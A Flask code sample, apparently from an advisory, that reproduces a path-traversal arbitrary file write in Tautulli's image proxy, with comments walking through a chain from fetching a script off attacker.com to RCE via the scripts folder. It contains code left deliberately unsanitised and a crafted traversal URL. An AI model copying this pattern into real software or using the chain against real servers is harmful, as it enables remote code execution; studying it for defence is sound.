Vulnerable code sample

import os
import hashlib
import requests
from flask import Flask, request, abort

# This is a simplified representation of the vulnerable application logic.
# Assume this code runs in a directory structure like:
# /opt/Tautulli/
#  - Tautulli.py (this app)
#  - /cache/
#    - /pms_image_proxy/
#  - /scripts/

app = Flask(__name__)

# Assume the base path for Tautulli is /opt/Tautulli
TAUTULLI_PATH = '/opt/Tautulli'
CACHE_DIR = os.path.join(TAUTULLI_PATH, 'cache', 'pms_image_proxy')

@app.route('/pms_image_proxy')
def pms_image_proxy():
    """Vulnerable function that demonstrates the security issue."""
    # Get parameters from the request URL
    img_url = request.args.get('img')
    img_format = request.args.get('img_format')

    if not img_url or not img_format:
        abort(400, "Missing 'img' or 'img_format' parameters.")

    # Create a hash based on the image URL to use as part of the filename
    image_hash = hashlib.md5(img_url.encode('utf-8')).hexdigest()

    # Vulnerable part: Construct the filename and path without sanitizing img_format.
    # An attacker can provide path traversal characters in 'img_format'.
    # For example: 'jpg/../../scripts/malicious_script.py'
    filename = f"{image_hash}.{img_format}"
    
    # os.path.join will incorrectly resolve the path traversal characters,
    # allowing the file to be written outside the intended cache directory.
    full_path = os.path.join(CACHE_DIR, filename)

    # Check if the "image" is already cached.
    if not os.path.exists(full_path):
        try:
            # The attacker has set the PMS URL to a server they control.
            # This request fetches arbitrary content (a python script) from the attacker's server.
            response = requests.get(img_url, timeout=10)
            response.raise_for_status()

            # Ensure the directory for the file exists before writing.
            # This is also exploitable as it creates the directories for the traversed path.
            os.makedirs(os.path.dirname(full_path), exist_ok=True)
            
            # Write the fetched content (the attacker's script) to the constructed path.
            # The file is now written to, for example, /opt/Tautulli/scripts/malicious_script.py
            with open(full_path, 'wb') as f:
                f.write(response.content)

        except requests.RequestException as e:
            print(f"Error fetching image: {e}")
            abort(500, "Failed to fetch remote image.")
        except IOError as e:
            print(f"Error writing file: {e}")
            abort(500, "Failed to write image to cache.")

    # The original function would then serve the file, but the primary
    # vulnerability is the file write, which has already occurred.
    return "Image processed.", 200

# Example of how an attacker would exploit this:
# 1. Attacker (with admin access) sets Tautulli's PMS URL to http://attacker.com
# 2. Attacker crafts a URL to Tautulli's pms_image_proxy endpoint:
#    http://tautulli:8181/pms_image_proxy?img=http://attacker.com/payload.py&img_format=jpg/../../scripts/pwn.py
# 3. Tautulli receives the request.
# 4. It constructs the path: /opt/Tautulli/cache/pms_image_proxy/<md5_hash>.jpg/../../scripts/pwn.py
#    This resolves to: /opt/Tautulli/scripts/pwn.py
# 5. The file doesn't exist, so Tautulli fetches http://attacker.com/payload.py
# 6. The content of payload.py (a malicious Python script) is written to /opt/Tautulli/scripts/pwn.py
# 7. Attacker uses the Script notification agent in Tautulli's UI to execute pwn.py, achieving RCE.